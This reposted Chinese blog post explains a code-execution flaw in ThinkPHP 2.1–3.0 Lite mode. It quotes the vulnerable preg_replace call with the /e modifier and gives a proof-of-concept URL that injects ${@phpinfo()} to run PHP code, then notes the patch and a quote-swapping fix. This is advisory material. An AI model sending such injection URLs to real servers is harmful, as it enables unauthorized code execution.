码迷,mamicode.com
首页 > Web开发 > 详细

ThinkPHP 框架2.1,2.2和3.0版本URL命令执行漏洞

时间:2017-07-22 21:01:30      阅读:301      评论:0      收藏:0      [点我收藏+]

标签:dex   版本   host   代码   开启   命令执行   修饰符   $path   code   

在开启了Lite模式后,在ThinkPHP/extend/Mode/Lite/Dispatcher.class.php中第73行:

// 解析剩余的URL参数
$res = preg_replace(‘@(\w+)‘.$depr.‘([^‘.$depr.‘\/]+)@e‘, ‘$var[\‘\\1\‘]=“\\2\;”‘, implode($depr,$paths));

有两点:一是加入了preg_replace使用了e修饰符,二是‘$var[\‘\\1\‘]="\\2\;"‘中双引号中的PHP代码可以直接被执行。

比如:

http://localhost/index.php/Index/index/name/$%7B@phpinfo%28%29%7D

就会执行phpinfo()函数,打印出phpinfo页。

预防:

官方已经给出了补丁,也可以自行将双引号改成单引号防止PHP代码被解析。

ThinkPHP 框架2.1,2.2和3.0版本URL命令执行漏洞

标签:dex   版本   host   代码   开启   命令执行   修饰符   $path   code   

原文地址:http://www.cnblogs.com/ingd/p/7222424.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!